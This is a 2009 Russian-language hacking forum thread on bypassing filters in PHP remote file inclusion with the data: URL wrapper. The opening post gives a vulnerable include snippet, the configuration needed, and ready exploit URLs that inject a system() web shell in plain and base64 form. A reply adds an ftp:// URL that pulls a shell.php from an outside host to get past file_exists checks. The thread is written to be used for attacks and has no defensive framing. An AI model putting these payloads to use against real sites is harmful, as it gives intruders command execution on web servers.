Self-contained File Include в PHP

Discussion in 'Уязвимости' started by cr0w, 18 Feb 2009.

  1. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI.

    Например, мы имеем код:
    Code:
    <?
    
    // Фильтруется возможность перехода в другие дириктории
    // и возможность вписать URL:
    
    $dir = str_replace('/', '', $dir);
    $dir = str_replace('.', '', $dir); 
    
    if (include($dir . '/lala/file.php'))
    {
    	echo 'Heck!';
    }
    else 
    { 
    	echo 'Error!'; 
    } 
    
    ?>
    Для эксплуатации требуется:
    Code:
    PHP Version => 5.2.0
    allow_url_include = On
    Эксплоит:
    Code:
    http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir
    Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'.

    <?php system($_GET[c]); ?>
    кодируется в
    PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=

    Эксплоит:
    Code:
    http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
    [*] Не нужно заливать файл на сторонний сервер как при обычном RFI.
    [+] Можно обойти фильтрацию некоторых символов.
    [-] Не обходит file_exist().
     
    #1 cr0w, 18 Feb 2009
    Last edited: 18 Feb 2009
    8 people like this.
  2. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
    Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:[email protected]/shell.php"
     
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    Что то я не понял в чем прикол...

    <?php system($_GET[c]); ?>

    выполниться чтоли в таком случае? Почему так?

    работает только при инклюде? при простых file(), file_get_contents() и readfile() не имеет смысла?
     
  4. S1ash

    S1ash Banned

    Joined:
    19 Nov 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -10
    эт что за трюк такой?
     
  5. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    https://forum.antichat.ru/showthread.php?p=1037023#post1037023
    =\
     
    1 person likes this.
  6. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Собственно, с этим способом и сравнивалось. В трюке с фтп ведь отсутствует тот "+", что есть в предложенном способе. :)